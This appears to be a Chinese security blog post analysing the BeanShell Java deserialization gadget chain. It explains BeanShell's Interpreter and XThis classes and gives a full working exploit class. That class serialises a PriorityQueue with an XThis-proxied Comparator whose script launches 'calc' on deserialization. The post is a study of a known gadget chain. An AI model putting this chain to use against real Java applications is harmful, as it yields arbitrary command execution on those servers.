Java反序列化之BeanShell

BeanShell简介

BeanShell 是一个小型的 , 免费的 , 可嵌入的Java源代码解释器 , 具有使用Java编写的对象脚本语言功能。BeanShell 能够执行标准的 Java 语句和表达式 , 也可以使用通用的脚本语言约定和语法将 Java 扩展到脚本域。

分析

先了解两个类

Interpreter

bash.Interpreter就是BeanShell内置的脚本解释器,该类有两个主要方法setevalset方法用于设置变量,eval用于执行脚本。

String func="exec(cmd){java.lang.Runtime.getRuntime().exec(cmd);}";
Interpreter interpreter=new Interpreter();
interpreter.eval(func); //设置函数
interpreter.eval("exec(\"calc\")"); //调用函数

image-20220404162902687

Interpreter中有一个NameSpace,也就是命名空间,其中保存了方法,变量,引入包的命名空间

XThis

bsh.This是Bsh的脚本对象类型,一个This对象中存储了NameSpaceInterpreterXThis就是This的子类。在Xthis中有个invokeMethod方法,通过这个方法我们可以直接调用已定义的函数。

image-20220404165041157

测试一下

String func="exec(cmd){java.lang.Runtime.getRuntime().exec(cmd);}";
Interpreter interpreter=new Interpreter();
interpreter.eval(func);
XThis xThis=new XThis(interpreter.getNameSpace(),interpreter);
xThis.invokeMethod("exec",new Object[]{"calc"});

image-20220404165213811

XThisThis基础上添加了代理接口的支持,在XThis中有一个内部Handler,实现了InvocationHandler接口并重写了invoke方法

image-20220404165943091

跟进invokeImpl方法

image-20220404170218057

equalstoString方法进行了针对性的处理,其他方法使用invokeMethod调用。也就是说,将XThis对象作为bsh脚本对象的代理类,通过动态代理即可调用Bsh脚本中定义的方法。

EXP构造

ysoserial中给出的利用链是通过反序列化PriorityQueue调用到其中的Comparatorcompare方法,使用XThis中的Handler动态代理Comparator,就会通过Handler中的invoke调用bsh脚本对象中的compare方法,我们自定义一个恶意的compare即可。感觉跟cc1还是有一点像的,都是利用动态代理的机制调用到invoke

exp

import bsh.EvalError;
import bsh.Interpreter;
import bsh.XThis;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.PriorityQueue;

public class exp {
    public static void main(String[] args) throws EvalError, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        //定义函数
        String compare="compare(Object a,Object b){new java.lang.ProcessBuilder(new String[]{\"calc\"}).start();return new Integer(1);}";
        Interpreter interpreter=new Interpreter();
        interpreter.eval(compare);

        //创建XThis对象
        XThis xThis=new XThis(interpreter.getNameSpace(),interpreter);

        //获取handler
        Field invocationHandlerf=xThis.getClass().getDeclaredField("invocationHandler");
        invocationHandlerf.setAccessible(true);
        InvocationHandler invocationHandler= (InvocationHandler) invocationHandlerf.get(xThis);

        //创建PriorityQueue对象
        PriorityQueue<Object> priorityQueue=new PriorityQueue<>(2);
        priorityQueue.add("1");
        priorityQueue.add("2");

        //创建Comparator对象
        Comparator<Object> comparator= (Comparator<Object>) Proxy.newProxyInstance(Comparator.class.getClassLoader(),new Class<?>[]{Comparator.class},invocationHandler);

        //设置代理的Comparator
        Field comparatorf=priorityQueue.getClass().getDeclaredField("comparator");
        comparatorf.setAccessible(true);
        comparatorf.set(priorityQueue,comparator);

        ByteArrayOutputStream ser = new ByteArrayOutputStream();
        ObjectOutputStream oser = new ObjectOutputStream(ser);
        oser.writeObject(priorityQueue);
        oser.close();


        System.out.println(ser);
        ObjectInputStream unser=new ObjectInputStream(new ByteArrayInputStream(ser.toByteArray()));
        Object newobj=unser.readObject();
    }
}

参考文章

https://su18.org/post/ysoserial-su18-5/#beanshell

本文链接:

http://novic4.cn/index.php/archives/20.html
1 + 1 =
快来做第一个评论的人吧~